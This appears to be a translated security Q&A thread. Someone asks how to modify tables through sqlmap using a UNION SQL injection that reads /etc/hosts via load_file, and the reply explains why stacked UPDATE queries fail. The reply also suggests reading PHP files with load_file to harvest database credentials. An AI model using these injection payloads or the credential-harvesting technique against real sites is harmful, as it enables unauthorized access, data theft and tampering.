¿Cómo podemos actualizar la tabla a través de sqlmap?

3

¿Cómo podemos actualizar una tabla a través de sqlmap? La inyección es así:

mysite.com/?menu=-8' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
load_file('/etc/hosts'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

Tengo un usuario mysql con estos privilegios y roles:

[*] 'testUser'@'localhost' [17]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: SHOW VIEW
    privilege: TRIGGER
    privilege: UPDATE

[*] 'testUser'@'localhost' [17]:
        role: ALTER
        role: ALTER ROUTINE
        role: CREATE
        role: CREATE ROUTINE
        role: CREATE TEMPORARY TABLES
        role: CREATE VIEW
        role: DELETE
        role: DROP
        role: EVENT
        role: EXECUTE
        role: FILE
        role: INDEX
        role: INSERT
        role: SELECT
        role: SHOW VIEW
        role: TRIGGER
        role: UPDATE

pero solo devuelve ninguno como resultado!

UPDATE SMS SET Message='This is for Test' WHERE ClientID='42';: None

La declaración de selección funciona bien, pero me pregunto si hay alguna posibilidad de actualizar a través de sqlmap?

    
pregunta Freeman 10.10.2015 - 14:10
fuente

1 respuesta

1

Esto simplemente no es posible. La razón de esto es que el módulo MySQL de PHP no permite agregar consultas completas. Así que esto no funcionará :

http://victim.com/index.php?id=1'; UPDATE anytable SET anyattribute='anyvalue' --

Tampoco puede usar UNION para agregar una consulta ACTUALIZAR, BORRAR o INSERTAR porque solo permite que una se una a las declaraciones SELECT.

Puede ACTUALIZAR una base de datos MySQL a través de una Inyección SQL solo si la consulta original es una consulta ACTUALIZADA. Y también esto es mucho más limitado que las inyecciones de SQL en las instrucciones SELECT para extraer datos.

Pero hay otra forma en la que podrías alterar los datos. En tu inyección usas la función load_file . Si esta función funciona, puede usarla para leer el contenido de los archivos .php que buscan el método mysql_connect que contendrá las credenciales para la base de datos. Luego, con estas credenciales, puede conectarse a la base de datos bajo ciertas condiciones y consultar la base de datos directamente.

Y finalmente: le sugiero que no utilice herramientas como sqlmap hasta el momento en que pueda explotar las inyecciones de SQL con los ojos vendados y con una mano atada a la espalda porque no aprende mucho con solo usar sqlmap.

    
respondido por el davidb 11.10.2015 - 11:47
fuente

Lea otras preguntas en las etiquetas